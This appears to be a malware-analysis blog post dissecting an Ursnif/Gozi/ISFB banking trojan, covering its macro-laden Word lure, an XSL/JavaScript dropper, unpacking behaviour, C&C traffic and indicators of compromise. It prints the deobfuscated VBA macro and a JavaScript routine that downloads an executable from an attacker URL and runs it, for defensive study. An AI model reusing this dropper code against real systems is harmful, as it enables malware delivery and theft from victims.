After our last blogpost regarding Emotet and several other Emotet and Ransomware samples that we encountered, we recently stumbled across a variant belonging to the Gozi, ISFB, Dreambot respectively Ursnif family. In this blogpost, we want to share our insights from the analysis of this malware, whose malware family is mainly known for being a banking trojan that typically tries to infect browser sessions and sniff/redirect data. In particular, we are going to provide details about the first stage Word Document, the embedded JavaScript/XSL document, an in-depth runtime analysis of the downloaded executable, and some details regarding detection.
Also, with this blog post, we are releasing a Rekall plugin called pointerdetector that enumerates all exported functions from all DLLs and searches the memory for any pointer to them (essentially a search for dynamically resolved APIs). This plugin can assist in identifying dynamically resolved APIs and especially memory regions containing DLLs loaded with techniques such as reflective DLL injection. This blog post will contain some examples illustrating the usage of this plugin, as well.
If you are interested in a hands-on analysis of Incidents and malicious files, we are giving another round of our Incident Analysis workshop at Troopers20.
Since we are not the first ones analyzing these malware families, there are some great online resources that you should have a closer look at if you are interested in further information:
- https://www.certego.net/en/news/malware-tales-dreambot/
- https://github.com/mlodic/ursnif_beacon_decryptor
- https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html
- https://0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/
- https://reaqta.com/2018/11/ursnif-reloaded-tracing-latest-campaigns/
- https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15/19
- https://github.com/0ver-fl0w/ISFB_Tools
Table of Contents
Word Document Analysis
Analysis of the XSL Document
Analysis of the Executable – Hash difference
Analysis of the Executable – Runtime behavior
Analysis of the Executable – C&C Communication
Detection/IoCs
Word Document Analysis
One aspect that this malware campaign borrowed from Emotet (most probably because it works so well) is the delivery of malware through faked responses to existing mail threads. In this malicious mail, a word document was attached, which we are going to focus on first.
The document contains obfuscated macro code which is executed upon opening the document (via Document_Open). The primary goal of this code is to drop an XSL file, containing JavaScript code, on the filesystem and executing it with the Windows tool wmic. The first listing below is an excerpt that shows one of the obfuscated functions. As can be seen, there is a lot of fake comments and junk code that follows the same pattern:
Function a1RS3()
aTzaXyeF4 = IsNull(a5sy3reEO)
' Middling answered breezy collector
Dim anofe9
anofe9 = Exp(5)
Dim agj8x1ALa
agj8x1ALa = Abs(-18)
If aNy0LA = False Then
aNy0LA = True
Else
aNy0LA = False
End If
' Differential christ affluent coy cj
Dim a6EUxlPf
a6EUxlPf = Hex(67)
' Accuses
Dim aBZCSm0h
aBZCSm0h = Hex(197)
' Vituperation placed downloading smoke
Dim ahj5PxFrq
ahj5PxFrq = Hex(206)
' Washer whod
Dim aBZuYRE
aBZuYRE = Fix(16)
' Northamptonshire
afu4q = IsNull(agF10BMcs)
' Demonstrates cartridge lath routing daniel gamespot
Dim alWrn6KA
alWrn6KA = Fix(13)
' Generator slighting big zope rewards dubai
If awzpB0g = False Then
awzpB0g = True
Else
awzpB0g = False
End If
' Forge accessed
Dim aLEHYqUrc
aLEHYqUrc = Fix(1)
agqL9UJ = Not (agqL9UJ)
aC7HoW = Not (aC7HoW)
Dim a6OZPj
a6OZPj = Exp(3)
a6wNfzX3W = IsNull(atKE2)
Dim aGMN5qXuj
aGMN5qXuj = Fix(15)
' Olive exceptional jap pent-up
Dim apI8F5sj
apI8F5sj = Exp(16)
' Assignment abstaining acclaim
Dim aUC85vPh
aUC85vPh = Abs(64)
Dim ax7hoNB5
ax7hoNB5 = Fix(15)
Dim aK3Urma8Q
aK3Urma8Q = Exp(5)
Set aEJydG = New aLeIgcA9T
Dim aUByLx
For aUByLx = 18 To 35
Debug.Print Error(aUByLx)
Next aUByLx
Dim aDEOplrK1
For aDEOplrK1 = 13 To 35
Debug.Print Error(aDEOplrK1)
Next aDEOplrK1
aEWYKaeu = aEJydG.sh.Text
Dim a2W0zqDv
a2W0zqDv = Hex(62)
' Welch conditional apathy dee
Dim axDehb
For axDehb = 25 To 53
Debug.Print Error(axDehb)
Next axDehb
' Mississippi
If a1KPb4M = False Then
a1KPb4M = True
Else
a1KPb4M = False
End If
' Receivers rocky apart oil
aEkbYD4 = aEJydG.cd.Text
If afGa6 = False Then
afGa6 = True
Else
afGa6 = False
End If
' Suggestion tandem garnered
Dim aXFVf
aXFVf = Abs(-56)
' Penis gm
a1RS3 = aMhXE6(aEWYKaeu & aEkbYD4)
End Function
After stripping the comments and junk code, the following function remains:
Function a1RS3()
Set aEJydG = New aLeIgcA9T
aEWYKaeu = aEJydG.sh.Text
aEkbYD4 = aEJydG.cd.Text
a1RS3 = aMhXE6(aEWYKaeu & aEkbYD4)
End Function
This function is responsible of loading and returning an XSL document. The content for that file is hidden in a stream of the word document, encoded as hex and split in two parts. Stream A16 contains the identifiers sh and cd (referenced in the macro code) and stream A17 their content. The following listing shows the analysis with oledump:
$ oledump.py info_10_08.doc -s A16
[...]
00000040: 00 00 98 10 00 00 00 00 17 00 73 68 E8 F7 3C 09 ..�.......sh��<.
00000050: 00 00 EE 01 00 00 00 00 20 00 E5 01 00 00 02 00 ..�..... .�.....
00000060: 00 80 02 00 00 00 98 10 00 00 01 00 17 00 63 64 .�....�.......cd
[...]
$ oledump.py info_10_08.doc -s A16
00000000: 00 02 78 10 01 01 40 80 00 00 00 00 1B 48 80 AC ..x...@�.....H��
00000010: 5F 10 00 80 EC 09 00 00 7B 02 00 00 33 63 33 66 _..��...{...3c3f
00000020: 37 38 36 64 36 63 32 30 37 36 36 35 37 32 37 33 786d6c2076657273
00000030: 36 39 36 66 36 65 33 64 32 37 33 31 32 65 33 30 696f6e3d27312e30
00000040: 32 37 33 66 33 65 30 64 30 61 33 63 37 38 37 33 273f3e0d0a3c7873
[...]
00001080: 35 00 00 00 06 00 00 80 A5 00 00 00 CC 02 00 00 5......��...�...
00001090: 54 61 68 6F 6D 61 00 00 00 02 78 10 01 01 40 80 Tahoma....x...@�
000010A0: 00 00 00 00 1B 48 80 AC 5F 10 00 80 EC 09 00 00 .....H��_..��...
000010B0: 7B 02 00 00 34 36 36 33 33 35 32 32 30 33 64 32 {...4663352203d2
000010C0: 30 32 64 33 36 33 30 33 38 33 34 33 34 33 62 30 02d36303834343b0
000010D0: 64 30 61 36 31 34 36 33 34 33 39 36 35 35 33 32 d0a6146343965532
[...]
After combining those two parts and decoding them as hex, the result is an XSL document which is stored in %temp%\aubR9KfZ.xsl and executed with the command:
wmic process list /format:"%temp%\aubR9KfZ"
The following listing shows the full deobfuscated macro code (the full original VBA macro code can be found here):
‘ Gets called when Word Document is opened
Sub Document_Open()
main
End Sub
‘ creates the XSL file with malicious JavaScript and executes it via wmic
Sub main()
Dim aUrH3 As String
aUrH3 = rot_thirteen(“776q69632070726s63657373206p697374202s666s726q61743n222574656q70255p61756252394o665n22”)
aWK1i returns_data_for_xls_file(), “temp”
Set atubG = New WshShell
‘ first does rot13 and then decodes the above hex encoded string to: wmic process list /format:”%temp%\aubR9KfZ”
aHUGo0f = aMhXE6(aUrH3)
‘ and then gets executed
Call atubG.run(aHUGo0f, 2)
End Sub
‘ Helper function for hex decoding
Function aiAxazbj(aMtY57d, aYSXG)
aiAxazbj = Chr(“&h” & Mid(aMtY57d, aYSXG, 2))
End Function
‘ Hex decoder function
Function aMhXE6(aMtY57d)
For aYSXG = 1 To Len(aMtY57d) Step 2
aGdmsa = aGdmsa & aiAxazbj(aMtY57d, aYSXG)
Next aYSXG
aMhXE6 = aGdmsa
End Function
‘ writes the given data to the given folder in the file aubR9KfZ.xsl
‘ in this script, gets called with an XSL document and the path %temp
Public Sub aWK1i(data_to_write As String, folder_string As String)
Dim filesystem_object As Object
Set filesystem_object = CreateObject(“Scripting.FileSystemObject”)
Dim file_object As Object
Set file_object = filesystem_object.CreateTextFile(Environ(folder_string) & “\aubR9KfZ.xs” & returns_char_l(), True, True)
file_object.Write data_to_write
file_object.Close
End Sub
‘ extracts the hex encoded XSL file content from the Word Document stream aLeIgcA9T
Function returns_data_for_xls_file()
Set aEJydG = New aLeIgcA9T
aEWYKaeu = aEJydG.sh.Text
aEkbYD4 = aEJydG.cd.Text
returns_data_for_xls_file = aMhXE6(aEWYKaeu & aEkbYD4)
End Function
Function rot_thirteen(ByRef az4wI As String)
Const asXoV4Jm = 97
Const aL4pqSUyQ = 26
Const al0BfU = 65
Const kRotRange = aL4pqSUyQ / 2
Dim advce As Long
Dim adpWEY5HM As String
If Len(az4wI) > 0 Then
For i = 1 To Len(az4wI)
advce = 0
c = Mid(az4wI, i, 1)
cc = Asc(c)
If cc >= asXoV4Jm And cc < (asXoV4Jm + aL4pqSUyQ) Then
advce = asXoV4Jm
ElseIf cc >= al0BfU And cc < (al0BfU + aL4pqSUyQ) Then
advce = al0BfU
End If
If advce > 0 Then
theRot13Code = (((cc – advce) + kRotRange) Mod aL4pqSUyQ) + advce
theRot13Char = Chr(theRot13Code)
adpWEY5HM = adpWEY5HM + theRot13Char
Else
adpWEY5HM = adpWEY5HM + c
End If
Next
End If
rot_thirteen = adpWEY5HM
End Function
‘ just returns ‘l’
Function returns_char_l()
returns_char_l = “l”
End Function
Private Sub UserForm_Initialize()
‘ does nothing
End Sub
Analysis of the XSL Document
The XSL document mainly contains JavaScript code with the primary goal of downloading an executable from the URL hxxp://arpersenoa.com/angosz/cecolf.php?l=allix6.tar, storing it at %temp%\a4hAe8Oq6.exe and afterwards executing it. At the time of analysis and by using the DNS server 8.8.8.8, the Domain arpersenoa.com has been resolved to the IP address 45.10.88.81.
The following listing shows the deobfuscated JavaScript code (the full original XSL document can be found here):
aN4e6rkzT = false;
// just strips the string 3v4d6tka from the input string
function decode(obfuscated_string) {
return(obfuscated_string.replace(/3v4d6tka/g, “”));
}
function return_decoded_symbol_index(index) {
// var decoded_symbol_array = [
// decode(“a3v4d6tkad3v4d6tkao3v4d6tkad3v4d6tkab3v4d6tka.3v4d6tkas3v4d6tkat3v4d6tkar3v4d6tkae3v4d6tkaa3v4d6tkam3v4d6tka”),
// decode(“w3v4d6tkas3v4d6tkac3v4d6tkar3v4d6tkai3v4d6tkap3v4d6tkat3v4d6tka.3v4d6tkas3v4d6tkah3v4d6tkae3v4d6tkal3v4d6tkal3v4d6tka”),
// decode(“s3v4d6tkac3v4d6tkar3v4d6tkai3v4d6tkap3v4d6tkat3v4d6tkai3v4d6tkan3v4d6tkag3v4d6tka.3v4d6tkaf3v4d6tkai3v4d6tkal3v4d6tkae3v4d6tkas3v4d6tkay3v4d6tkas3v4d6tkat3v4d6tkae3v4d6tkam3v4d6tkao3v4d6tkab3v4d6tkaj3v4d6tkae3v4d6tkac3v4d6tkat3v4d6tka”),
// decode(“m3v4d6tkas3v4d6tkax3v4d6tkam3v4d6tkal3v4d6tka23v4d6tka.3v4d6tkax3v4d6tkam3v4d6tkal3v4d6tkah3v4d6tkat3v4d6tkat3v4d6tkap3v4d6tka”),
// decode(“s3v4d6tkaa3v4d6tkav3v4d6tkae3v4d6tkat3v4d6tkao3v4d6tkaf3v4d6tkai3v4d6tkal3v4d6tkae3v4d6tka”),
// decode(“r3v4d6tkau3v4d6tkan3v4d6tka”),
// decode(“d3v4d6tkae3v4d6tkal3v4d6tkae3v4d6tkat3v4d6tkae3v4d6tkaf3v4d6tkai3v4d6tkal3v4d6tkae3v4d6tka”),
// decode(“a3v4d6tka43v4d6tkah3v4d6tkaA3v4d6tkae3v4d6tka83v4d6tkaO3v4d6tkaq3v4d6tka63v4d6tka.3v4d6tkae3v4d6tkax3v4d6tkae3v4d6tka”),
// ];
var decoded_symbol_array = [
“adodb.stream”,
“wscript.shell”,
“scripting.filesystemobject”,
“msxml2.xmlhttp”,
“savetofile”,
“run”,
“deletefile”,
“a4hAe8Oq6.exe”
]
return(decoded_symbol_array[index]);
}
function return_activex_object(object_string) {
return new ActiveXObject(object_string);
}
var temp_folder_string = return_activex_object(“wscript.shell”).expandenvironmentstrings(“%temp%”) + “\\”;
// downloads the given url and stores the result in %temp%\a4hAe8Oq6.exe
function download_and_execute_url(url){
var wscript_shell = return_activex_object(return_decoded_symbol_index(1));
var scripting_filesystemobject = return_activex_object(return_decoded_symbol_index(2));
var msxml2_xmlhttp = return_activex_object(return_decoded_symbol_index(3));
msxml2_xmlhttp.open(“GET”, url, 0);
msxml2_xmlhttp.send();
if(msxml2_xmlhttp.status === 200 && msxml2_xmlhttp.readystate === 4){
var adodb_stream = return_activex_object(return_decoded_symbol_index(0));
adodb_stream.open();
adodb_stream.type = 1;
adodb_stream.write(msxml2_xmlhttp.responsebody);
adodb_stream.position = 0;
adodb_stream[“savetofile”](temp_folder_string + “a4hAe8Oq6.exe”, 2);
adodb_stream.close();
wscript_shell[“run”](temp_folder_string + “a4hAe8Oq6.exe”);
scripting_filesystemobject[“deletefile”](temp_folder_string + “aubR9KfZ.xsl”);
}
}
download_and_execute_url(‘hxxp://arpersenoa.com/angosz/cecolf.php?l=allix6.tar’);
Analysis of the Executable – Hash Difference
As it might be possible that malware sites test for the environment from which the malware is downloaded (e.g. via the user agent) and hence there might be differences between samples, we typically use different clients to download the malware. While downloading the malware several times, we identified differences in some of the samples. The differences did not result from different download environments but might be time based. Downloaded samples with a delay of several seconds had a different hash sum while samples downloaded within the same second did not.
The difference between the samples were, based on the available samples, exactly 4 bytes at the same offset (0x1B33) for all of them:
We did not identify an obvious pattern for the 4 bytes and could be an IPv4 address or random data to prevent hashsum-based comparison. The second possibility is more likely, based on our analysis, because:
- No connection has been made to an IP address calculated from the 4 bytes.
- We did not find any access to the data from the code segment.
- The position of the 4 bytes seems to be prepared to place random data.
The following figure shows the position of the 4 bytes in the .text section with IDA Pro:
By having a look at the jnz we can see that the destination address is not shown as code, but points in the middle of an instruction. This trick is also known as Unaligned Branch and is an anti disassembly technique. By undefining the 4 bytes (marking them as data, not code), the actual control flow and code can be reconstructed:
The byte sequence 0x9D 0x44 0xBB 0xAE are the differing 4 bytes for this sample.
Analysis of the Executable – Runtime behavior
The file a4hAe8Oq6.exe is a 32bit Portable Executable (PE32), which contains obfuscated shellcode and (at least) two further PE files that are decoded/decrypted and executed at runtime. Furthermore, COM is used to create iexplore.exe instances which are used to request several URLs and represents a mechanism for the initial C&C communication. The following paragraphs describe the runtime behavior in detail. If not specified otherwise, all mentioned addresses relate to the PE file a4hAe8Oq6.exe with an ImageBaseAddress of 0x400000.
One of the first steps in the life of the malware is the decryption of shellcode, located at 0x568F00 in the .rdata section and copying it to the address 0x581A80 within the .data section:
As the .data section is usually not executable, the shellcode containing memory is set to PAGE_EXECUTE_WRITECOPY via VirtualProtectEx (at address 0x4F1248 resp. 0x4F0DE6) and executed afterwards (0x4F1266):
The shellcode contains common patterns such as GetEIP and functionality to resolve APIs. One of the main purposes is, however, to load a PE file.
The shellcode is split in two parts while keeping a gap in between. This gap is used to store resolved pointers to Windows APIs, which are mainly used to allocate new memory, load DLLs and resolve further APIs. The APIs pointed to are:
- kernel32.dll!VirtualProtect
- kernel32.dll!GetProcAddress
- kernel32.dll!VirtualAlloc
- kernel32.dll!VirtualFree
- kernel32.dll!FlsFree
- kernel32.dll!LoadLibraryExA
- ntdll.dll!RtlExitUserThread
By using the pointerdetector plugin, those can easily be identified from a live dump:
$ rekall -f mem.dump ptenum 744 --ignore_mapped_files
VAD Hit Distance Pointer API Count
...
0x1f0000 0x1f04d6 0 0x771c2341 kernel32.dll!VirtualProtect 1
0x1f0000 0x1f04da 0 0x771d33d3 kernel32.dll!GetProcAddress 1
0x1f0000 0x1f04de 0 0x771d2fb6 kernel32.dll!VirtualAlloc 1
0x1f0000 0x1f04e2 0 0x771d1da4 kernel32.dll!VirtualFree 1
0x1f0000 0x1f04e6 0 0x771d1f61 kernel32.dll!FlsFree 1
0x1f0000 0x1f04ea 0 0x771c47fa kernel32.dll!LoadLibraryExA 1
0x1f0000 0x1f04ee 0 0x77b0f611 ntdll.dll!RtlExitUserThread 1
...
The following figure shows on the one hand the start of the API-resolver function at address 0x581B4D and on the other hand the loop (0x581B30 – 0x581B42) that writes the resolved API addresses in the aforementioned shellcode-gap:
Later on, the shellcode gets copied (0x582071) to a newly allocated memory region (created via VirtualAlloc at address 0x582061 with the protection PAGE_EXECUTE_READWRITE) and again executed (at address 0x582083):
The entry point this time is the second part of the shellcode at address Shellcode+0x4F2. This execution flow is responsible for loading a new PE file which is hidden in the .text section. First, a new memory region is allocated via VirtualAlloc with the protection PAGE_EXECUTE_READWRITE and the obfuscated/encrypted PE file copied from address 0x4D337F:
The copied data is first decrypted with a XOR loop:
Afterwards, the original executable gets partly overwritten with this PE file. This behavior resembles a common technique called Process Hollowing. With Process Hollowing, however, typically a new process is spawned and the original executable is unmapped from memory and completely replaced by a new one. In this case, only as much bytes as the new one needs are overwritten, by first clearing the memory with nulls (at Shellcode+0x805) and then copying the new PE file over:
Similar to Reflective-DLL-Loading, the new IAT is getting patched with this loop:
After the shellcode set the protections for each section of the new PE file, the execution is handed over with a simple push-ret trick at addresses Shellcode+0x97E and Shellcode+0x983. The entry point is stored in the shellcode gap at two locations: Base address at Shellcode+0x7B and offset at Shellcode+0x4BE. The entry point is 0x40119F and is calculated at Shellcode+0x959 and Shellcode+0x961:
Analysis of the Executable – C&C Communication
During runtime, several connections to the internet are established which are part of the C&C communication. These connections are initiated by iexplore.exe (Internet Explorer) instances that are created by the malware via COM (using the API CoCreateInstance). This behavior is controlled by another PE file, also loaded by the malware during runtime.
This PE file is stored in a separate memory region and to make the analysis/identification a little bit more difficult, the MZ and PE header magic bytes have been stripped. As a popular search for the MZ would not work in this case, our Rekall plugin pointerdetector reveals this memory region as something to have a closer look at:
$ rekall -f mem.dump ptenum 744 --ignore_mapped_files
VAD Hit Distance Pointer API Count
...
0x200000 0x20b000 0 0x771cbf0a kernel32.dll!InterlockedExchange 1
0x200000 0x20b004 0 0x771d3363 kernel32.dll!LocalAlloc 1
0x200000 0x20b008 0 0x77b32dd6 ntdll.dll!RtlAllocateHeap 1
0x200000 0x20b00c 0 0x771cbbc0 kernel32.dll!InterlockedIncrement 1
0x200000 0x20b010 0 0x771cbbf0 kernel32.dll!InterlockedDecrement 1
0x200000 0x20b014 0 0x771cbbd0 kernel32.dll!HeapFree 1
0x200000 0x20b018 0 0x771c2301 kernel32.dll!HeapDestroy 1
0x200000 0x20b01c 0 0x771d3ea2 kernel32.dll!HeapCreate 1
0x200000 0x20b020 0 0x771cbccc kernel32.dll!SetEvent 1
0x200000 0x20b024 0 0x771cba60 kernel32.dll!GetTickCount 1
0x200000 0x20b028 0 0x771c0ef7 kernel32.dll!CreateEventA 1
0x200000 0x20b02c 0 0x771cba90 kernel32.dll!WaitForSingleObject 1
0x200000 0x20b030 0 0x771cca7c kernel32.dll!CloseHandle 1
0x200000 0x20b034 0 0x771ccac4 kernel32.dll!GetCurrentProcessId 1
0x200000 0x20b038 0 0x771c0296 kernel32.dll!SleepEx 1
0x200000 0x20b03c 0 0x771b3d7b kernel32.dll!CreateWaitableTimerA 1
...
As can be seen, there are several Windows API pointers right next to each other (the distance from the previous hit is zero), similar to an IAT, so an educated guess at this point would be that there is a stealthily loaded DLL in this memory region since this memory region is not associated with a file:
VAD start end type protect filename
...
0x856c0f20 0x1e0000 0x1e0fff Private EXECUTE_READWRITE
0x855d7c50 0x200000 0x20efff Private READWRITE
...
0x856bc228 0x400000 0x5e2fff Mapped Image File EXECUTE_WRITECOPY C:\a4hAe8Oq6.exe
The fact that the dos stub and section names such as .text are also in the first few bytes of this memory region confirms our suspicion:
0x200000 00 00 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 ................
0x200010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x200020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x200030 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ................
0x200040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 ........!..L.!Th
0x200050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f is.program.canno
0x200060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 t.be.run.in.DOS.
0x200070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 mode....$.......
...
0x2001f0 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 .........text...
0x200200 df 96 00 00 00 10 00 00 00 98 00 00 00 04 00 00 ................
0x200210 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 ...............`
0x200220 2e 72 64 61 74 61 00 00 a3 0e 00 00 00 b0 00 00 .rdata..........
...
There is, however, something else that stands out for this VAD: The protection for this memory region is set to READWRITE, which could mean that this DLL has (at least not directly) been executed. Also malfind does only reveal the memory region containing the loaded shellcode at 0x1e0000 (which has been allocated with a protection of PAGE_EXECUTE_READWRITE). Some pages belonging to the memory region at 0x200000 are, however, actually executable. The reason for the inconsistency is the fact that the VAD does only store the initial protection but the corresponding pages can get different protections during runtime. This can be verified with the plugin ptenum, which we released a few months ago. As can be seen in the following output, 10 pages are executable while the first page in the memory region has kept not executable (which for the PE header is also not necessary and typically not case anyways):
$ rekall -f mem.dump ptenum 744 --ignore_mapped_files
Process: a4hAe8Oq6.exe Pid: 744 Address: 0x200000
Vad Tag: VadS Protection: READWRITE
Flags: CommitCharge: 15, MemCommit: 1, PrivateMemory: 1, Protection: 4
The Vadtype is: Private
10 non empty page(s) with a total size of 0xa000 bytes in this VAD were executable (and for mapped image files also modified).
Skipping the first 0x1000 bytes, as they are either not modified (only applies for mapped image files), empty or not executable.
0x201000 83 60 14 00 83 60 10 00 c7 00 01 23 45 67 c7 40 .`...`.....#Eg.@
...
Similarly, we can use this plugin to verify that the .data section in the PE file, containing the shellcode at 0x581A80 (see the Runtime behavior section), is actually executable. Note that since this plugin operates on pages and the given start address is in the middle of a page, the output in the beginning (at 0x581000) contains only null bytes since there is no data:
$ rekall -f mem.dump ptenum 744 --start=0x581A80 --end=$((0x581A80+0x5000))
Process: a4hAe8Oq6.exe Pid: 744 Address: 0x400000
Vad Tag: Vad Protection: EXECUTE_WRITECOPY
Flags: CommitCharge: 118, Protection: 7, VadType: 2
Mapped File: C:\a4hAe8Oq6.exe
The Vadtype is: Mapped Image File
5 non empty page(s) with a total size of 0x5000 bytes in this VAD were executable (and for mapped image files also modified).
0x581000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
For more background information and details about the algorithm, see the presentation and paper from this years DFRWS USA 2019.
After patching the header, the PE file can be easily dumped and reconstructed from memory (e.g. with Rekall’s pedump plugin). A short analysis of this PE file shows that, besides the COM functionality, it also contains functionality to directly communicate via HTTP and particularly a special format string: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x. We will get back to this format string later.
The initial communication with the C&C server is done via HTTP and in all observed cases used a long cryptic path beginning with /images/ and ending with .avi. The following URLs are an excerpt:
- hxxp://gmail.com/images/ZcXyLkgWrTz/2OZf9HPDkBa3iK/qtDYd942DAktG6TTDht1N/1XrEDfCxWypahwu9/IWu3IZKpIUYtbx4/eYVJ37jWslYsxUK3i3/5bC9gY0Rs/HwhmsECH\_2BA6NRTFOIM/dKxubspCNLEihpZZa\_2/F\_2Fq4pGIxJo/4.avi
- hxxp://google.com/images/\_2BmRNh59RaYmBxUOsDoM\_/2F7ZOga8qtZi\_/2BapQE40/C8Vjm45vSEQDO2J7kwNKm90/Tzzg\_2B\_2F/ZYNf4jeJxrJCtPH6g/T4Wy3uW9wRlG/5a0qgz5Movb/O66WcD0xdtkVLV/SVqKgIVcJQPYXkS4CgS0j/QHeBAwHg/Q.avi
- hxxp://laogxsc3377allison.club/images/FT69sRXKEnW4PJD38Zt7/r6rrXVEqEO0\_2FWEL8b/l0REF06GXkiSgHz6QL9pM1/LYc0kHRbU6L9c/mrDi0kt\_/2FhFVTKsxufotsNewF0KhuQ/yvj76GN3E6/1\_2Bg\_2FMGVqy9T2a/jMb3FQ8\_2BiG/buBXDUD9zIW/\_2F6AQP.avi
- hxxp://wr29shaniakobe.xyz/images/KgSVEdSH5Eyd/928tPhLrFBG/I\_2BLswt7lmX28/ADJEcD5UjUOZhYctrV4bT/o5q9iUNVEelnzh4R/MKQiDUvbsFTvxdS/2LPJr30nPxlZvDIOdA/iQ\_2B4NKW/waRvjVntY3qhkA7sxHvL/Lc7\_2BqzXXyj8Gn/RzTNh.avi
The following list contains all Domains we observed such connections to:
- gmail.com
- google.com
- laogxsc3377allison.club
- wr29shaniakobe.xyz
- reejosephiney.top
- www.reejosephiney.top
During Online research regarding a string we encountered in memory (10291029JSJUYNHG) we found this tool, which is able to decrypt the communication. The string is a well known encryption key used by the Ursnif/Dreambot/Gozi/ISFB malware family. The following listing shows the exemplary decryption of one of the URLs with the tool ursnif_beacon_decryptor:
python3 ursnif_beacon_decryptor.py -k 10291029JSJUYNHG -u 'hxxp://www.reejosephiney.top/images/o1bDb8CcT6V4/ae_2FMSlcFx/VGLW_2F6ou2yQz/bpsG1sBKOtv0eFWAxeb3l/7yCJIMEdEn2_2FJU/DF9Z3qZZgjcZRF1/5TNYPop_2BNdyJJkGc/W51oqvdQ_/2Futg_2FQmGm_2Bx0ntc/8Q5wm_2F76w_2FN3_2F/aFB5q_2F6UOI9Uv/c9.avi'
[2019-10-22 12:16:55 - INFO] c2 domain: 'www.reejosephiney.top'
[2019-10-22 12:16:55 - INFO] path to analyze: /images/o1bDb8CcT6V4/ae_2FMSlcFx/VGLW_2F6ou2yQz/bpsG1sBKOtv0eFWAxeb3l/7yCJIMEdEn2_2FJU/DF9Z3qZZgjcZRF1/5TNYPop_2BNdyJJkGc/W51oqvdQ_/2Futg_2FQmGm_2Bx0ntc/8Q5wm_2F76w_2FN3_2F/aFB5q_2F6UOI9Uv/c9.avi
[2019-10-22 12:16:55 - INFO] Congrats! decoded data: rbisu=xndb&soft=3&version=214085&user=cdbe0157bbed35e233f6dd98c13e787e&server=12&id=3473&crc=1&uptime=319
In the last line we can easily spot the usage of the aforementioned format string. The decrypted data contained in all observed cases (except for the random string and the uptime) the same following fields and values (the explanation of those fields has been taken from the decryption tool’s GitHub page):
- rbisu=xndb : Random string for parameter name and value that changes for every URL.
- soft=3 : Major Version
- version=214085 : Minor Version
- user=cdbe0157bbed35e233f6dd98c13e787e : Unique user ID
- server=12 : Unique C&C Server ID
- id=3473 : Bot Group-ID
- crc=1 : Payload to retrieve (1: 32bit DLL, 2: 64bit DLL, 3: PowerShell Script)
- uptime=319 : Time elapsed from initial infection (seconds)
A further result from our online research is the tool PyExtract.py. It is capable of extracting the malware configuration and when using it on our dumped PE file, we get the following result containing also the encryption key and the C&C domains:
python PyExtract.py 0x200000_PE-file_header-fixed.bin
Unpacked ISFB Sample Selected: 0x200000_PE-file_header-fixed.bin
Extracting Onboard Configuration...
Two structures found in binary.
Appended Data is Compressed.
Second Section of Data is also Compressed.
Located RSA Key inside of Binary. Storing...
Located Onboard Configuration! Parsing...
Outputting Parsed Configuration!
domains: google.com gmail.com zkeaganarlie.xyz laogxsc3377allison.club reejosephiney.top wr29shaniakobe.xyz
botnet: 3473
server: 12
key: 10291029JSJUYNHG
timer: 10
timer: 20
timer: 0
dga_base_url: constitution.org/usdeclar.txt
dga_crc: 0x4eb7d2ca
dga_tld: com ru org
dga_season: 10
RSA Key: 8c4585d5e064638d56b4690416100bf50557542164ba8e6ee27aad15f97c1f79a8c83975e1291c3715c51569b0204f2b4d3cf81f3806028dd01d157c87f7f91ddb6db1e500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001
Serpent Key: 10291029JSJUYNHG
C2 URLs: google.com gmail.com zkeaganarlie.xyz laogxsc3377allison.club reejosephiney.top wr29shaniakobe.xyz
During our analysis we did not recognize any responses from any C&C server. The reasons for that were in our case:
- One domain was already a DNS sinkhole (wr29shaniakobe.xyz).
- A second domain was not reachable anymore (zkeaganarlie.xyz).
- While the connection to the HTTP service on the third and fourth domain was successfully established, no response data was returned (www.reejosephiney.top and laogxsc3377allison.club), neither in the response body nor the HTTP headers.
As can be seen above, some of the requests also go to gmail.com and google.com. Those are probably used as a distraction or to let the other requests appear more legit.
Detection/IoCs
This chapter lists some Indicators of Compromise and hints on how to detect the malware in your environment.
URls
The “t”s in http have been replaced with “x” in all URLs.
The first URL has been used by the Word document/JavaScript for downloading the malicious executable:
- hxxp://arpersenoa.com/angosz/cecolf.php?l=allix6.tar
As the communication for the initial C&C communication was in plaintext and all URLs followed a similar pattern, it is possible to identify potentially infected hosts by searching e.g. proxy logs for a path starting with /images/ and ending with .avi. The following list is just an excerpt:
- hxxp://gmail.com/images/ZcXyLkgWrTz/2OZf9HPDkBa3iK/qtDYd942DAktG6TTDht1N/1XrEDfCxWypahwu9/IWu3IZKpIUYtbx4/eYVJ37jWslYsxUK3i3/5bC9gY0Rs/HwhmsECH\_2BA6NRTFOIM/dKxubspCNLEihpZZa\_2/F\_2Fq4pGIxJo/4.avi
- hxxp://google.com/images/\_2BmRNh59RaYmBxUOsDoM\_/2F7ZOga8qtZi\_/2BapQE40/C8Vjm45vSEQDO2J7kwNKm90/Tzzg\_2B\_2F/ZYNf4jeJxrJCtPH6g/T4Wy3uW9wRlG/5a0qgz5Movb/O66WcD0xdtkVLV/SVqKgIVcJQPYXkS4CgS0j/QHeBAwHg/Q.avi
- hxxp://laogxsc3377allison.club/images/FT69sRXKEnW4PJD38Zt7/r6rrXVEqEO0\_2FWEL8b/l0REF06GXkiSgHz6QL9pM1/LYc0kHRbU6L9c/mrDi0kt\_/2FhFVTKsxufotsNewF0KhuQ/yvj76GN3E6/1\_2Bg\_2FMGVqy9T2a/jMb3FQ8\_2BiG/buBXDUD9zIW/\_2F6AQP.avi
